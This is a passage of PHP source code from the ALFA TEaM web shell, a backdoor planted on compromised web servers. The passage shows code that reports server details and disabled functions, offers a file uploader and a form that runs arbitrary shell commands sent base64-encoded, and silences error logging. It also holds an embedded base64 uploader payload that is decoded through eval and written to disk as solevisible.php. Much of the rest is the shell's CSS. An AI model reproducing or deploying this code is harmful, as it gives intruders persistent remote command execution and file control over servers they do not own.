    echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
    $safe_mode = @ini_get('safe_mode');
    if ($safe_mode) {
        $r = "<b style='color: red'>On</b>";
    } else {
        $r = "<b style='color: green'>Off</b>";
    }
    echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>PHP_OS</font><br>";
    echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
    echo "PHP Version: <font color=white>PHP_VERSION</font><br />";
    echo "PWD:<font color=#FFFFFF> " . str_replace("\\", "/", @alfaGetCwd()) . "/<br />";
    echo "<b style='color: #7CFC00'>Safe Mode : {$r}<br>";
    echo "<font color=#7CFC00>Disable functions : </font>";
    $disfun = @ini_get('disable_functions');
    if (empty($disfun)) {
        $disfun = '<font color="green">NONE</font>';
    }
    echo "<font color=red>";
    echo "{$disfun}";
    echo "</font><br>";
    echo "<b style='color: #7CFC00'>Your Ip Address is :  </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
    echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>" . (function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . "</font><br><p>";
    echo "<hr><center><form onSubmit=\"this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));\" action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
    echo 'CWD: <input type="text" name="cwd" value="' . str_replace("\\", "/", @alfaGetCwd()) . '/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
    if (isset($_FILES['file'])) {
        if (@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']) . '/' . $_FILES['file']['name'])) {
            echo "<b><font color=\"#7CFC00\"><center>Upload Successfully ;)</font></a><font color=\"#7CFC00\"></b><br><br></center>";
        } else {
            echo "<center><b><font color=\"#7CFC00\">Upload failed :(</font></a><font color=\"#7CFC0\"></b></center><br><br>";
        }
    }
    echo "<hr><form onSubmit=\"this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));\" method=\"POST\">Execute Command: <input name=\"command_solevisible\" value=\"\" size=\"59\" type=\"text\" align=\"left\" ><input name=\"execute\" value=\"Execute\" type=\"submit\"><br></form>\r\n<hr><pre>";
    if (isset($_POST['command_solevisible'])) {
        if (strtolower("PHP") == "win") {
            $separator = '&';
        } else {
            $separator = ';';
        }
        $solevisible = "cd '" . addslashes(str_replace("\\", "/", @alfaGetCwd())) . "'" . $separator . "" . __ZGVjb2Rlcg($_POST['command_solevisible']);
        echo alfaEx($solevisible);
    }
    echo "</pre>\r\n</body></html>";
    exit;
}
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if (function_exists('set_magic_quotes_runtime')) {
    @set_magic_quotes_runtime(0);
}
foreach ($_POST as $key => $value) {
    if (is_array($_POST[$key])) {
        $i = 0;
        foreach ($_POST[$key] as $f) {
            $f = trim(str_replace(' ', '+', $f));
            $_POST[$key][$i] = decrypt_post($f);
            $i++;
        }
    } else {
        $value = trim(str_replace(' ', '+', $value));
        $_POST[$key] = decrypt_post($value);
    }
}
$default_action = 'FilesMan2';
//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower("PHP") == "win") {
    $GLOBALS['sys'] = 'win';
} else {
    $GLOBALS['sys'] = 'unix';
}
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if (isset($_POST['c'])) {
    if (!@chdir($_POST['c'])) {
        $GLOBALS['glob_chdir_false'] = true;
    }
}
$GLOBALS['cwd'] = isset($_POST['c']) && @is_dir($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
if ($GLOBALS['glob_chdir_false']) {
    $GLOBALS['cwd'] = isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
}
if ($GLOBALS['sys'] == 'win') {
    $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
    $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) - 1] != '/') {
    $GLOBALS['cwd'] .= '/';
}
if (!function_exists('sys_get_temp_dir')) {
    function sys_get_temp_dir()
    {
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
            if ($temp = getenv($env_var)) {
                return $temp;
            }
        }
        $temp = tempnam($GLOBALS['__file_path'], '');
        if (_alfa_file_exists($temp, false)) {
            unlink($temp);
            return dirname($temp);
        }
        return null;
    }
}
if (!function_exists("mb_strlen")) {
    function mb_strlen($str, $c = "")
    {
        return strlen($str);
    }
}
if (!function_exists("mb_substr")) {
    function mb_substr($str, $start, $end, $c = "")
    {
        return substr($str, $start, $end);
    }
}
define("ALFA_TEMPDIR", function_exists("sys_get_temp_dir") ? @is_writable(str_replace('\\', '/', sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable('.') ? '.' : false) : false);
function alfahead()
{
    $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
    $alfa_uploader = "\$x = base64_decode(\"PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\");\$solevisible = fopen(\"solevisible.php\",\"w\");fwrite(\$solevisible,\$x);";
    define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($alfa_uploader) . "'))");
    if (!isset($_POST['ajax'])) {
        function Alfa_GetDisable_Function()
        {
            $disfun = @ini_get('disable_functions');
            $afa = '<span class="header_show_all">All Functions Accessible</span>';
            if (empty($disfun)) {
                return "<span class=\"header_show_all\">All Functions Accessible</span>";
            }
            $s = explode(',', $disfun);
            $s = array_unique($s);
            $i = 0;
            $b = 0;
            $func = array('system', 'exec', 'shell_exec', 'proc_open', 'popen', 'passthru', 'symlink', 'dl');
            $black_list = array();
            $allow_list = array();
            foreach ($s as $d) {
                $d = trim($d);
                if (empty($d) || !is_callable($d)) {
                    continue;
                }
                if (!function_exists($d)) {
                    if (in_array($d, $func)) {
                        $dis .= $d . " | ";
                        $b++;
                        $black_list[] = $d;
                    } else {
                        $allow_list[] = $d;
                    }
                    $i++;
                }
            }
            if ($i == 0) {
                return $afa;
            }
            if ($i <= count($func)) {
                $all = array_values(array_merge($black_list, $allow_list));
                return '<span class="disable_functions">' . implode(" | ", $all) . '</span>';
            }
            return '<span class="disable_functions">' . $dis . '</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (' . $i . ')</span></a>';
        }
        function AlfaNum()
        {
            $args = func_get_args();
            $alfax = array();
            $find = array();
            for ($i = 1; $i <= 10; $i++) {
                $alfax[] = $i;
            }
            foreach ($args as $arg) {
                $find[] = $arg;
            }
            echo "<script>";
            foreach ($alfax as $alfa) {
                if (in_array($alfa, $find)) {
                    continue;
                }
                echo 'alfa' . $alfa . "_=";
            }
            echo "\"\"</script>";
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['default_charset'];
        }
        $freeSpace = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cwd']) : '?';
        $totalSpace = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cwd']) : '?';
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $on = "<span class='header_on'> ON </span>";
        $of = "<span class='header_off'> OFF </span>";
        $none = "<span class='header_none'> NONE </span>";
        if (function_exists('ssh2_connect')) {
            $ssh2 = $on;
        } else {
            $ssh2 = $of;
        }
        if (function_exists('curl_version')) {
            $curl = $on;
        } else {
            $curl = $of;
        }
        if (function_exists('mysql_get_client_info') || class_exists('mysqli')) {
            $mysql = $on;
        } else {
            $mysql = $of;
        }
        if (function_exists('mssql_connect')) {
            $mssql = $on;
        } else {
            $mssql = $of;
        }
        if (function_exists('pg_connect')) {
            $pg = $on;
        } else {
            $pg = $of;
        }
        if (function_exists('oci_connect')) {
            $or = $on;
        } else {
            $or = $of;
        }
        if (@ini_get('disable_functions')) {
            $disfun = @ini_get('disable_functions');
        } else {
            $disfun = "All Functions Enable";
        }
        if (@ini_get('safe_mode')) {
            $safe_modes = "<span class='header_off'>ON</span>";
        } else {
            $safe_modes = "<span class='header_on'>OFF</span>";
        }
        $cgi_shell = "<span class='header_off' id='header_cgishell'>OFF</span>";
        if (@ini_get('open_basedir')) {
            $basedir_data = @ini_get('open_basedir');
            if (strlen($basedir_data) > 120) {
                $open_b = substr($basedir_data, 0, 120) . "...";
            } else {
                $open_b = $basedir_data;
            }
        } else {
            $open_b = $none;
        }
        if (@ini_get('safe_mode_exec_dir')) {
            $safe_exe = @ini_get('safe_mode_exec_dir');
        } else {
            $safe_exe = $none;
        }
        if (@ini_get('safe_mode_include_dir')) {
            $safe_include = @ini_get('safe_mode_include_dir');
        } else {
            $safe_include = $none;
        }
        if (!function_exists('posix_getegid')) {
            $user = function_exists("get_current_user") ? @get_current_user() : "????";
            $uid = function_exists("getmyuid") ? @getmyuid() : "????";
            $gid = function_exists("getmygid") ? @getmygid() : "????";
            $group = "?";
        } else {
            $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : array("name" => "????", "uid" => "????");
            $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : array("name" => "????", "gid" => "????");
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
            $cach_cwd_path = "";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
                $cach_cwd_path .= $path[$j] . '/';
            }
            $cwd_links .= "\")' path='" . $cach_cwd_path . "' href='#action=fileman&path=" . $cach_cwd_path . "'>" . $path[$i] . "/</a>";
        }
        $drives = "";
        foreach (range('a', 'z') as $drive) {
            if (@is_dir($drive . ':\\')) {
                $drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
        $csscode = '	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="' . __showicon('alfamini') . '" rel="icon" type="image/x-icon"/>
<title>..:: ' . $_SERVER['HTTP_HOST'] . ' ~ ALFA TEaM Shell - v' . __ALFA_VERSION__ . '-' . __ALFA_CODE_NAME__ . ' ::..</title>
<style type="text/css">';
        ?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number 